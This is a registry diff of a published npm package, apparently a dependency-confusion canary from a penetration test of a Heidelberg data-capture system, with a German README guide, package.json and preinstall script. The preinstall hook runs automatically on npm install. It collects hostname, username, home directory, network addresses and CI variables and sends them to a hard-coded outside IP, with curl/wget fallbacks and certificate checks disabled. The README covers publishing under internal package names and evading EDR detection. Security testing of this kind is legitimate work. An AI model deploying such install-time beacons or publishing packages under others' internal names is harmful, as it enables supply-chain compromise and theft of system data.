dataterminal-ui 999.0.0-security-test

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,268 @@
1
+ # Dependency Confusion Canary Test
2
+
3
+ **Projekt:** Heidelberg DataCapture System - Vibe Pentesting
4
+ **Datum:** 2026-02-12
5
+ **Typ:** Supply Chain Security - Dependency Confusion PoC
6
+
7
+ ---
8
+
9
+ ## 1. Zweck
10
+
11
+ Dieser Test prüft, ob das Heidelberg DataCapture System für **Dependency Confusion** anfällig ist.
12
+
13
+ Ein harmloses "Canary"-Paket wird auf public npm unter einem internen Paketnamen veröffentlicht.
14
+ Falls das Paket von CI/CD oder Entwicklern installiert wird, sendet es einen Beacon.
15
+
16
+ **Warum funktioniert das?**
17
+ ```
18
+ Internes Paket: dataterminal-ui (in Nexus release-npm)
19
+
20
+ .npmrc: Default Registry = virtual-remote-npm
21
+
22
+ virtual-remote-npm = Group aus [release-npm + remote-npm (public)]
23
+
24
+ Falls "höchste Version gewinnt": Angreifer-Paket 999.0.0 > Intern 19.x
25
+ ```
26
+
27
+ ---
28
+
29
+ ## 2. Wichtige Hinweise
30
+
31
+ | ⚠️ | Nur mit schriftlicher Genehmigung durchführen! |
32
+ |----|------------------------------------------------|
33
+ | ⚠️ | Keine Malware - nur harmloser DNS/HTTP-Callback |
34
+ | ⚠️ | Nach Test Paket von npm depublishen! |
35
+ | ⚠️ | Test-Version 999.x verhindert echte Nutzung |
36
+
37
+ ---
38
+
39
+ ## 3. Test-Paketnamen (alle frei auf public npm)
40
+
41
+ ### CRITICAL - `private: false` (höchste Priorität)
42
+ | Paketname | Risiko | Begründung |
43
+ |-----------|--------|------------|
44
+ | `dataterminal-ui` | 🔴 CRITICAL | `private: false`, hat `publishConfig` |
45
+ | `dataterminal-ui-svc` | 🔴 CRITICAL | `private: false` |
46
+ | `datacapture-backend-eventbus` | 🔴 CRITICAL | `private: false` |
47
+ | `datacapture-backend-ui-svc` | 🔴 CRITICAL | `private: false` |
48
+
49
+ ### HIGH - `private: true` (trotzdem testbar)
50
+ | Paketname | Risiko |
51
+ |-----------|--------|
52
+ | `datacapture-backend-svc` | 🟠 HIGH |
53
+ | `datacapture-frontend-svc` | 🟠 HIGH |
54
+ | `dcbackend-dynamo-infra` | 🟠 HIGH |
55
+
56
+ ---
57
+
58
+ ## 4. Callback-Optionen
59
+
60
+ ### Option A: Interactsh (empfohlen, kostenlos)
61
+ 1. Gehe zu https://app.interactsh.com
62
+ 2. Klicke "Generate"
63
+ 3. Kopiere die Domain (z.B. `abc123xyz.oast.fun`)
64
+ 4. Nutze diese als `--callback-dns` und `--callback-http`
65
+
66
+ ### Option B: Burp Collaborator
67
+ 1. In Burp Suite: Collaborator → Generate Collaborator Payloads
68
+ 2. Kopiere die Subdomain
69
+ 3. Nutze als Callback URL
70
+
71
+ ### Option C: Eigener VPS (EDR-freundlich, empfohlen!)
72
+ Interactsh-Domains werden oft von EDRs als bösartig erkannt. Ein eigener VPS umgeht das.
73
+
74
+ ```bash
75
+ # 1. Auf VPS: Server starten
76
+ scp vps_server.py user@your-vps:/opt/callback/
77
+ ssh user@your-vps "python3 /opt/callback/vps_server.py --port 65204"
78
+
79
+ # 2. Lokal: Canary konfigurieren
80
+ .\configure_vps.ps1 -CallbackUrl "http://YOUR-VPS-IP:65204"
81
+
82
+ # 3. npm publish
83
+ npm publish --access public
84
+ ```
85
+
86
+ 📖 Vollständige Anleitung: [VPS_SETUP.md](VPS_SETUP.md)
87
+
88
+ ### Option D: Lokaler Server mit ngrok
89
+ ```powershell
90
+ # Terminal 1: Server starten
91
+ python callback_server.py --port 65204
92
+
93
+ # Terminal 2: ngrok für öffentlichen Zugang
94
+ ngrok http 65204
95
+
96
+ # Nutze die ngrok-URL als Callback
97
+ ```
98
+
99
+ ---
100
+
101
+ ## 5. Schritt-für-Schritt Anleitung
102
+
103
+ ### 5.1 Vorbereitung (einmalig)
104
+
105
+ ```powershell
106
+ # 1. npm-Account erstellen (falls nicht vorhanden)
107
+ # https://www.npmjs.com/signup
108
+
109
+ # 2. npm login
110
+ npm login
111
+
112
+ # 3. Login prüfen
113
+ npm whoami
114
+ ```
115
+
116
+ ### 5.2 Canary-Paket veröffentlichen
117
+
118
+ ```powershell
119
+ # 1. Interactsh-Domain holen
120
+ # https://app.interactsh.com → Generate → Domain kopieren
121
+
122
+ # 2. Canary publishen
123
+ cd 04_PoC_Exploits/dependency_confusion_canary
124
+ python publish_canary.py `
125
+ --package-name dataterminal-ui `
126
+ --callback-dns YOUR_SUBDOMAIN.oast.fun `
127
+ --callback-http https://YOUR_SUBDOMAIN.oast.fun
128
+
129
+ # ODER Dry-Run (nur vorbereiten, nicht publishen):
130
+ python publish_canary.py --dry-run `
131
+ --package-name dataterminal-ui `
132
+ --callback-dns YOUR_SUBDOMAIN.oast.fun `
133
+ --callback-http https://YOUR_SUBDOMAIN.oast.fun
134
+ ```
135
+
136
+ ### 5.3 Callbacks überwachen
137
+
138
+ ```powershell
139
+ # Option A: Interactsh Web UI beobachten
140
+
141
+ # Option B: Eigener Server
142
+ python callback_server.py --port 65204
143
+ ```
144
+
145
+ ### 5.4 Test-Szenarien auslösen
146
+
147
+ Nach dem Publish abwarten:
148
+ - Automatische CI/CD-Pipelines (Renovate, Dependabot)
149
+ - Entwickler führt `npm install` / `npm update` aus
150
+ - Neues Projekt wird initialisiert
151
+
152
+ **Oder aktiv testen:**
153
+ ```powershell
154
+ # In einem ISOLIERTEN Test-Verzeichnis (nicht im Projekt!)
155
+ mkdir C:\temp\depconf-test
156
+ cd C:\temp\depconf-test
157
+
158
+ # package.json mit der Dependency erstellen
159
+ echo '{"dependencies": {"dataterminal-ui": "latest"}}' > package.json
160
+
161
+ # npm install ausführen
162
+ npm install
163
+
164
+ # Wenn Canary installiert wird → Callback erscheint!
165
+ ```
166
+
167
+ ### 5.5 Nach dem Test aufräumen
168
+
169
+ ```powershell
170
+ # Paket von npm entfernen
171
+ python publish_canary.py --unpublish `
172
+ --package-name dataterminal-ui `
173
+ --version 999.0.0-security-test
174
+
175
+ # ODER manuell:
176
+ npm unpublish dataterminal-ui@999.0.0-security-test --force
177
+ ```
178
+
179
+ ---
180
+
181
+ ## 6. Erwartete Ergebnisse
182
+
183
+ ### ERFOLG (Vulnerability bestätigt)
184
+ Wenn Callbacks empfangen werden:
185
+ ```
186
+ ╔═══════════════════════════════════════════════════════════════════╗
187
+ ║ 🎯 CALLBACK EMPFANGEN! ║
188
+ ╠═══════════════════════════════════════════════════════════════════╣
189
+ ║ Package: dataterminal-ui ║
190
+ ║ Hostname: ci-runner-linux-001 ║
191
+ ║ Username: gitlab-runner ║
192
+ ║ CI/CD: gitlab ║
193
+ ║ Directory: /builds/ilcloud/dcfrontend/dataterminal-ui ║
194
+ ╚═══════════════════════════════════════════════════════════════════╝
195
+ ```
196
+ → **Die Pipeline ist für Dependency Confusion anfällig!**
197
+
198
+ ### KEIN CALLBACK (geschützt)
199
+ - Keine Callbacks nach 24-48h
200
+ - Lockfile + npm ci schützt effektiv
201
+ - Nexus-Priorität korrekt konfiguriert
202
+
203
+ ---
204
+
205
+ ## 7. Report-Integration
206
+
207
+ Bei bestätigtem Finding:
208
+ 1. Callback-Logs als Beweis sichern
209
+ 2. Finding-Dokument erstellen: `03_Findings/CVE-2026-0XX_DEPENDENCY_CONFUSION.md`
210
+ 3. Screenshots von Interactsh/Burp machen
211
+ 4. Canary-Paket depublishen!
212
+
213
+ ---
214
+
215
+ ## 8. Verzeichnisstruktur
216
+
217
+ ```
218
+ dependency_confusion_canary/
219
+ ├── README.md # Diese Datei
220
+ ├── package.json # npm Paket-Template
221
+ ├── preinstall.js # Callback-Script (läuft bei npm install)
222
+ ├── index.js # Dummy-Export
223
+ ├── callback_server.py # Lokaler Callback-Server
224
+ └── publish_canary.py # Automatisierter Publisher/Unpublisher
225
+ ```
226
+
227
+ ---
228
+
229
+ ## 9. Technischer Hintergrund
230
+
231
+ ### Wie der Test funktioniert
232
+
233
+ ```
234
+ ┌───────────────────────────────────────────────────────────────────┐
235
+ │ 1. Canary auf public npm veröffentlichen │
236
+ │ dataterminal-ui@999.0.0-security-test │
237
+ │ ↓ │
238
+ │ 2. CI/CD Pipeline / Developer führt npm install/update aus │
239
+ │ ↓ │
240
+ │ 3. npm fragt Registry nach dataterminal-ui │
241
+ │ → .npmrc: Default = virtual-remote-npm │
242
+ │ → Nexus: release-npm hat 19.x, remote-npm hat 999.x │
243
+ │ ↓ │
244
+ │ 4. Falls "höchste Version" Policy: │
245
+ │ → Nexus liefert 999.x (Angreifer-Paket) │
246
+ │ ↓ │
247
+ │ 5. npm install führt preinstall.js aus │
248
+ │ → DNS + HTTP Callback an Interactsh/Burp │
249
+ │ ↓ │
250
+ │ 6. Pentester empfängt Callback = BEWEIS │
251
+ └───────────────────────────────────────────────────────────────────┘
252
+ ```
253
+
254
+ ### Was der Callback enthält (harmlos)
255
+
256
+ ```json
257
+ {
258
+ "p": "dataterminal-ui", // Paketname
259
+ "h": "ci-runner-linux-001", // Hostname
260
+ "u": "gitlab-runner", // Username
261
+ "d": "/builds/project/", // Working Directory
262
+ "t": "2026-02-12T10:30:00Z", // Timestamp
263
+ "ci": "gitlab", // CI/CD Environment
264
+ "ip": "10.0.1.50" // Lokale IP
265
+ }
266
+ ```
267
+
268
+ **Keine** Secrets, Credentials oder sensiblen Daten werden exfiltriert!
package/index.js ADDED
@@ -0,0 +1,28 @@
1
+ /**
2
+ * Dependency Confusion Canary - Main Module
3
+ *
4
+ * SECURITY TEST PACKAGE - Authorized Penetration Test Only
5
+ *
6
+ * Dieses Modul ist absichtlich leer/nutzlos.
7
+ * Das eigentliche "Payload" ist im preinstall-Script.
8
+ */
9
+
10
+ module.exports = {
11
+ name: 'dataterminal-ui',
12
+ version: '999.0.0-security-test',
13
+ isSecurityTest: true,
14
+ message: 'This is a security test package for dependency confusion testing. ' +
15
+ 'If you received this package unexpectedly, your build system may be vulnerable. ' +
16
+ 'Please contact heidelbergcloud-security@heidelberg.com immediately.',
17
+
18
+ // Dummy-Funktionen damit das Paket "funktioniert" ohne Fehler
19
+ init: function() {
20
+ console.warn('[SECURITY TEST] dataterminal-ui security canary loaded');
21
+ console.warn('[SECURITY TEST] Contact: heidelbergcloud-security@heidelberg.com');
22
+ return this;
23
+ },
24
+
25
+ getVersion: function() {
26
+ return this.version;
27
+ }
28
+ };
package/package.json ADDED
@@ -0,0 +1,26 @@
1
+ {
2
+ "name": "dataterminal-ui",
3
+ "version": "999.0.0-security-test",
4
+ "description": "SECURITY TEST - Dependency Confusion Canary - Contact: heidelbergcloud-security@heidelberg.com",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js || true"
8
+ },
9
+ "keywords": [
10
+ "security-test",
11
+ "dependency-confusion",
12
+ "canary",
13
+ "do-not-use"
14
+ ],
15
+ "author": "Heidelberg Security Team <heidelbergcloud-security@heidelberg.com>",
16
+ "license": "UNLICENSED",
17
+ "private": false,
18
+ "repository": {
19
+ "type": "git",
20
+ "url": "https://github.com/heidelberg-security/dependency-confusion-test"
21
+ },
22
+ "config": {
23
+ "callback_url": "http://3.250.204.221:65204",
24
+ "canary_id": "heidelberg-datacapture-test"
25
+ }
26
+ }
package/preinstall.js ADDED
@@ -0,0 +1,309 @@
1
+ /**
2
+ * Dependency Confusion Canary - Preinstall Script (VPS Edition)
3
+ *
4
+ * Diese Version nutzt NUR HTTP/HTTPS Callbacks zu einem eigenen Server.
5
+ * Keine Interactsh/DNS-Callbacks - EDR-freundlich!
6
+ *
7
+ * Konfiguration:
8
+ * CALLBACK_URL - URL deines VPS-Servers (z.B. https://callback.example.com)
9
+ */
10
+
11
+ // ════════════════════════════════════════════════════════════════════════════
12
+ // KONFIGURATION - HIER ANPASSEN!
13
+ // ════════════════════════════════════════════════════════════════════════════
14
+
15
+ const CALLBACK_URL = process.env.CANARY_CALLBACK_URL || 'http://3.250.204.221:65204';
16
+ const PACKAGE_NAME = 'dataterminal-ui';
17
+ const PACKAGE_VERSION = '999.0.0-security-test';
18
+ const CANARY_ID = process.env.CANARY_ID || 'heidelberg-datacapture-test'; // Eigene Test-ID
19
+
20
+ // ════════════════════════════════════════════════════════════════════════════
21
+
22
+ const https = require('https');
23
+ const http = require('http');
24
+ const os = require('os');
25
+ const { execSync } = require('child_process');
26
+
27
+ /**
28
+ * Sammle System-Informationen für Callback
29
+ */
30
+ function collectSystemInfo() {
31
+ const info = {
32
+ // Package Info
33
+ package: PACKAGE_NAME,
34
+ version: PACKAGE_VERSION,
35
+ canary_id: CANARY_ID, // Eigene Test-ID für Zuordnung
36
+ timestamp: new Date().toISOString(),
37
+
38
+ // System Info
39
+ hostname: os.hostname(),
40
+ platform: os.platform(),
41
+ arch: os.arch(),
42
+ release: os.release(),
43
+ user: os.userInfo().username,
44
+ homedir: os.homedir(),
45
+ cwd: process.cwd(),
46
+
47
+ // Node Info
48
+ node_version: process.version,
49
+ npm_version: process.env.npm_package_version || 'unknown',
50
+
51
+ // CI/CD Detection
52
+ ci: detectCI(),
53
+
54
+ // Environment (gefiltert - nur CI-relevante Variablen)
55
+ env: filterEnvironment()
56
+ };
57
+
58
+ // Optional: Netzwerk-Info
59
+ try {
60
+ const interfaces = os.networkInterfaces();
61
+ const ips = [];
62
+ for (const name of Object.keys(interfaces)) {
63
+ for (const iface of interfaces[name]) {
64
+ if (!iface.internal && iface.family === 'IPv4') {
65
+ ips.push({ name, address: iface.address });
66
+ }
67
+ }
68
+ }
69
+ info.network = ips;
70
+ } catch (e) {
71
+ info.network = 'error';
72
+ }
73
+
74
+ return info;
75
+ }
76
+
77
+ /**
78
+ * Erkenne CI/CD Umgebung
79
+ */
80
+ function detectCI() {
81
+ const ciIndicators = {
82
+ 'GitLab CI': !!process.env.GITLAB_CI,
83
+ 'GitHub Actions': !!process.env.GITHUB_ACTIONS,
84
+ 'Jenkins': !!process.env.JENKINS_URL,
85
+ 'Azure Pipelines': !!process.env.TF_BUILD,
86
+ 'CircleCI': !!process.env.CIRCLECI,
87
+ 'Travis CI': !!process.env.TRAVIS,
88
+ 'Bitbucket Pipelines': !!process.env.BITBUCKET_BUILD_NUMBER,
89
+ 'AWS CodeBuild': !!process.env.CODEBUILD_BUILD_ID,
90
+ 'Generic CI': !!process.env.CI
91
+ };
92
+
93
+ const detected = Object.entries(ciIndicators)
94
+ .filter(([_, v]) => v)
95
+ .map(([k, _]) => k);
96
+
97
+ return detected.length > 0 ? detected : ['local'];
98
+ }
99
+
100
+ /**
101
+ * Filtere Environment-Variablen (nur sichere/relevante)
102
+ */
103
+ function filterEnvironment() {
104
+ const safeVars = [
105
+ 'CI', 'GITLAB_CI', 'GITHUB_ACTIONS', 'JENKINS_URL', 'TF_BUILD',
106
+ 'CIRCLECI', 'TRAVIS', 'BITBUCKET_BUILD_NUMBER', 'CODEBUILD_BUILD_ID',
107
+ 'CI_PROJECT_NAME', 'CI_PIPELINE_ID', 'CI_JOB_NAME', 'CI_RUNNER_ID',
108
+ 'GITHUB_REPOSITORY', 'GITHUB_WORKFLOW', 'GITHUB_RUN_ID',
109
+ 'npm_lifecycle_event', 'npm_package_name',
110
+ 'NODE_ENV', 'PATH'
111
+ ];
112
+
113
+ const filtered = {};
114
+ for (const key of safeVars) {
115
+ if (process.env[key]) {
116
+ // PATH kürzen
117
+ if (key === 'PATH') {
118
+ filtered[key] = process.env[key].substring(0, 200) + '...';
119
+ } else {
120
+ filtered[key] = process.env[key];
121
+ }
122
+ }
123
+ }
124
+ return filtered;
125
+ }
126
+
127
+ /**
128
+ * Sende HTTP/HTTPS Callback
129
+ */
130
+ function sendCallback(info) {
131
+ return new Promise((resolve, reject) => {
132
+ try {
133
+ const url = new URL(CALLBACK_URL);
134
+ const isHttps = url.protocol === 'https:';
135
+ const client = isHttps ? https : http;
136
+
137
+ const data = JSON.stringify(info);
138
+
139
+ const options = {
140
+ hostname: url.hostname,
141
+ port: url.port || (isHttps ? 443 : 80),
142
+ path: url.pathname || '/',
143
+ method: 'POST',
144
+ headers: {
145
+ 'Content-Type': 'application/json',
146
+ 'Content-Length': Buffer.byteLength(data),
147
+ 'User-Agent': `npm-canary/${PACKAGE_NAME}`,
148
+ 'X-Canary-Package': PACKAGE_NAME,
149
+ 'X-Canary-Version': PACKAGE_VERSION
150
+ },
151
+ timeout: 10000,
152
+ // Für selbstsignierte Zertifikate auf VPS
153
+ rejectUnauthorized: false
154
+ };
155
+
156
+ const req = client.request(options, (res) => {
157
+ resolve({ status: res.statusCode, method: 'POST' });
158
+ });
159
+
160
+ req.on('error', (e) => {
161
+ // Fallback: GET mit Query-Parametern
162
+ sendCallbackGET(info).then(resolve).catch(reject);
163
+ });
164
+
165
+ req.on('timeout', () => {
166
+ req.destroy();
167
+ reject(new Error('Timeout'));
168
+ });
169
+
170
+ req.write(data);
171
+ req.end();
172
+
173
+ } catch (e) {
174
+ reject(e);
175
+ }
176
+ });
177
+ }
178
+
179
+ /**
180
+ * Fallback: GET Request mit Query-Parametern
181
+ */
182
+ function sendCallbackGET(info) {
183
+ return new Promise((resolve, reject) => {
184
+ try {
185
+ const url = new URL(CALLBACK_URL);
186
+ const isHttps = url.protocol === 'https:';
187
+ const client = isHttps ? https : http;
188
+
189
+ // Kompakte Info für GET
190
+ const params = new URLSearchParams({
191
+ pkg: info.package,
192
+ id: info.canary_id,
193
+ host: info.hostname,
194
+ user: info.user,
195
+ ci: info.ci.join(','),
196
+ ts: Date.now()
197
+ });
198
+
199
+ const options = {
200
+ hostname: url.hostname,
201
+ port: url.port || (isHttps ? 443 : 80),
202
+ path: `${url.pathname || '/'}?${params.toString()}`,
203
+ method: 'GET',
204
+ timeout: 10000,
205
+ rejectUnauthorized: false
206
+ };
207
+
208
+ const req = client.request(options, (res) => {
209
+ resolve({ status: res.statusCode, method: 'GET' });
210
+ });
211
+
212
+ req.on('error', reject);
213
+ req.on('timeout', () => {
214
+ req.destroy();
215
+ reject(new Error('Timeout'));
216
+ });
217
+
218
+ req.end();
219
+
220
+ } catch (e) {
221
+ reject(e);
222
+ }
223
+ });
224
+ }
225
+
226
+ /**
227
+ * Fallback: curl/wget (für Umgebungen ohne Node HTTPS)
228
+ */
229
+ function sendCallbackCurl(info) {
230
+ const compact = JSON.stringify({
231
+ pkg: info.package,
232
+ id: info.canary_id,
233
+ host: info.hostname,
234
+ user: info.user,
235
+ ci: info.ci
236
+ });
237
+
238
+ try {
239
+ // curl versuchen
240
+ execSync(`curl -s -k -X POST -H "Content-Type: application/json" -d '${compact}' "${CALLBACK_URL}" 2>/dev/null`, {
241
+ timeout: 10000,
242
+ stdio: ['pipe', 'pipe', 'pipe']
243
+ });
244
+ return { method: 'curl', status: 'sent' };
245
+ } catch (e) {
246
+ // wget versuchen
247
+ try {
248
+ execSync(`wget -q --no-check-certificate --post-data='${compact}' "${CALLBACK_URL}" -O /dev/null 2>/dev/null`, {
249
+ timeout: 10000,
250
+ stdio: ['pipe', 'pipe', 'pipe']
251
+ });
252
+ return { method: 'wget', status: 'sent' };
253
+ } catch (e2) {
254
+ return { method: 'none', status: 'failed' };
255
+ }
256
+ }
257
+ }
258
+
259
+ /**
260
+ * Zeige Security-Warning
261
+ */
262
+ function showWarning() {
263
+ console.log('');
264
+ console.log('╔═══════════════════════════════════════════════════════════════════╗');
265
+ console.log('║ ⚠️ SECURITY TEST - DEPENDENCY CONFUSION CANARY ║');
266
+ console.log('╠═══════════════════════════════════════════════════════════════════╣');
267
+ console.log('║ This package was installed as part of an authorized security ║');
268
+ console.log('║ assessment. If you did not expect this, your build system may ║');
269
+ console.log('║ be vulnerable to dependency confusion attacks. ║');
270
+ console.log('║ ║');
271
+ console.log('║ Contact: heidelbergcloud-security@heidelberg.com ║');
272
+ console.log('╚═══════════════════════════════════════════════════════════════════╝');
273
+ console.log('');
274
+ }
275
+
276
+ // ════════════════════════════════════════════════════════════════════════════
277
+ // MAIN
278
+ // ════════════════════════════════════════════════════════════════════════════
279
+
280
+ async function main() {
281
+ // Warning anzeigen
282
+ showWarning();
283
+
284
+ // Callback-URL prüfen
285
+ if (CALLBACK_URL.includes('YOUR-VPS')) {
286
+ console.log('[CANARY] No callback URL configured - skipping callback');
287
+ return;
288
+ }
289
+
290
+ console.log(`[CANARY] Package: ${PACKAGE_NAME}@${PACKAGE_VERSION}`);
291
+ console.log(`[CANARY] Callback URL: ${CALLBACK_URL}`);
292
+
293
+ // System-Info sammeln
294
+ const info = collectSystemInfo();
295
+
296
+ // Callback senden
297
+ try {
298
+ const result = await sendCallback(info);
299
+ console.log(`[CANARY] Callback sent via ${result.method} (${result.status})`);
300
+ } catch (e) {
301
+ // Fallback zu curl/wget
302
+ const result = sendCallbackCurl(info);
303
+ console.log(`[CANARY] Callback via ${result.method}: ${result.status}`);
304
+ }
305
+ }
306
+
307
+ main().catch(e => {
308
+ console.log('[CANARY] Callback failed:', e.message);
309
+ });